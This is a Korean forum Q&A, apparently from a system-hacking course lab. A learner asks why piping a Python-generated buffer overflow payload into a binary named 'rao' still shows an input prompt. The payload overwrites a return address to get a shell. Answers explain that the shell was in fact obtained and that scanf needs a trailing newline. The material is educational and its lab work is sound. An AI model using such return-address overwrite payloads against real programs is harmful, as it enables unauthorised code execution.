Python의 출력이 파이프가 왜 안될까요?
$ (python3 -c "print(b'A'*0x30 + b'B'*0x8 + b'\xdd\x11\x40\x00\x00\x00\x00\x00')";cat)

b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\xdd\x11@\x00\x00\x00\x00\x00'

위처럼 파이썬 출력은 정상적으로 되는것 같은데 저 출력을 파이프하려고 하면 다음과 같이 됩니다.

(python3 -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xdd\x11\x40\x00\x00\x00\x00\x00')";cat)| ./rao

Input:

여전히 input을 받으려 하는거면 파이프가 안되고 있는 것 같은데 왜 그럴까요?

#시스템해킹 #공격기법 #buffer_overflow
Author
Answers 2

알아냈습니다.
Input 이라고 떠도 /bin/sh는 동작했습니다

image.png

2023.11.04. 01:10

rao.c의 코드를 보면, 아래와 같이 scanf에 앞서 printf 구문이 수행되기 때문에,
쉘이 획득된 것과는 관계 없이, "Input: "은 자연스럽게 화면에 출력됩니다.

image.png

다만, scanf 함수는 '\0'이나 '\n'을 입력받기 전까지 stdin의 buffer에서 값을 읽어들이기 때문에,
페이로드의 마지막에 '\n'을 덧붙여주면, 아래와 같이 바로 쉘이 획득됩니다.
image.png

만약, 강의 자료에 예시로 제공된 바와 같이, 페이로드의 끝에 '\n'이 붙어있지 않다면,
아래와 같이, '\n'을 추가적으로 입력해줘야, scanf가 stdin으로부터 값을 읽어들이는 것을 완료하게 됩니다.
image.png

2023.11.05. 19:26
Do you know the answer?
Share and earn points!
Answer and earn points